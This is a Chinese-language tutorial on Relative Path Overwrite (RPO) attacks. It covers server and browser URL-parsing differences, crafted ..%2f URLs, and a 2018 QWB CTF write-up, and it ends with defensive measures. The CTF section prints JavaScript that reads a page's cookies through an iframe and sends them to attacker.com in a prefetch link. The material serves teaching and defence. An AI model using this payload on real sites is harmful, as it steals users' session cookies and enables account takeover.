RPO攻击方式的探究
字数 1801 2025-08-18 11:37:11
RPO攻击方式深度解析与实战教学
一、RPO基础概念
RPO (Relative Path Overwrite) 即相对路径覆盖攻击,由Gareth Heyes在2014年首次提出。该攻击利用服务器(如nginx或配置错误的Apache)与浏览器对URL解析的差异,通过相对路径引用的CSS或JS文件实现跨目录读取,甚至将非JS/CSS页面当做脚本解析,从而触发XSS等进一步攻击。
二、攻击前提条件
-
服务器配置条件:
- Apache服务器开启
AllowEncodedSlashes选项(默认关闭) - 或使用nginx服务器(自动解码
%2f为/)
- Apache服务器开启
-
应用条件:
- 存在使用相对路径引用的JS或CSS文件
三、技术原理详解
服务器与浏览器的URL解析差异
-
Apache默认行为:
- 不认识
..%2f,将其视为字面文件名 - 示例:
http://localhost/RPO/test/..%2fapache.php→ 寻找名为..%2fapache.php的文件
- 不认识
-
Nginx行为:
- 自动将
..%2f解码为../ - 示例:
http://localhost/RPO/test/..%2fnginx.php→ 解析为http://localhost/RPO/nginx.php
- 自动将
攻击流程示例
基础场景:
- 目录结构:
/RPO ├── index.php └── /test └── a.js index.php内容:<html> <head></head> <body> <script src=a.js></script> </body> </html>
攻击步骤:
- 访问URL:
http://localhost/RPO/test/..%2findex.php - 服务器解码:将
..%2f视为../,实际返回/RPO/index.php - 浏览器视角:仍认为当前路径为
/RPO/test/..%2findex.php - 加载
a.js时:浏览器从/RPO/test/a.js加载(而非预期的/RPO/a.js)
四、高阶利用技巧
将HTML页面作为JS解析
关键条件:网站启用了URL重写(URL Rewrite)
示例场景:
index.php:<!DOCTYPE html> <html> <head>RPO attack test</head> <body> <script src="3.js"></script> </body> </html> <?php if($_GET['page']) { $a=$_GET['page']; Header('Location: http://localhost/RPO/test/ '."$a".'.html'); } ?>3.html内容:alert("RPO attack");
攻击流程:
- 访问URL:
http://localhost/RPO/index.php/page/3/..%2f..%2f..%2findex.php - 服务器解析为:
http://localhost/RPO/index.php/page/3/index.php - 返回
index.php内容 - 浏览器尝试加载
3.js,实际请求:http://localhost/RPO/index.php/page/3/3.js - 服务器返回
3.html内容,被浏览器当做JS执行
五、实战案例分析(2018强网杯题目)
题目分析
-
分享平台功能:
- Write界面:可写入自定义内容(XSS payload被过滤)
- Overview界面:完全转义用户输入
- Report界面:提交URL供bot访问(使用PhantomJS 2.1)
-
发现点:
- 在
index.php中发现相对路径JS引用 - 需要利用RPO改变页面解析方式
- 在
攻击构造
-
Payload构造:
- 避免使用标题栏(自动添加
<h>标签会破坏JS解析) - 使用
String.fromCharCode绕过引号过滤
- 避免使用标题栏(自动添加
-
分阶段攻击:
- 第一阶段:让bot访问精心构造的页面
- 第二阶段:通过iframe获取
/QWB_f14g/QWB/目录的cookie - 第三阶段:将cookie发送到攻击者服务器
-
关键代码:
var iframe = document.createElement("iframe");
iframe.src = "/QWB_f14g/QWB/";
iframe.id = "frame";
document.body.appendChild(iframe);
iframe.onload = function (){
var c = document.getElementById('frame').contentWindow.document.cookie;
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "http://attacker.com?flag=" + c);
document.head.appendChild(n0t);
}
六、防御措施
-
服务器配置:
- Apache:保持
AllowEncodedSlashes关闭(默认状态) - Nginx:添加规则过滤或拦截包含
%2f的请求
- Apache:保持
-
开发规范:
- 使用绝对路径引用静态资源(以
/开头) - 避免URL重写功能与相对路径引用混用
- 设置正确的
Content-Type头部
- 使用绝对路径引用静态资源(以
-
补充措施:
- 实施严格的输入过滤
- 设置合适的CSP策略
- 对cookie设置
HttpOnly和Secure属性
七、总结
RPO攻击是一种利用URL解析差异的新型攻击方式,其关键在于:
- 服务器与浏览器对编码字符的解析不一致
- 相对路径资源引用的使用
- URL重写功能的配合
通过精心构造的请求,攻击者可以实现跨目录文件读取甚至XSS攻击。防御的核心在于统一资源引用路径和严格服务器配置。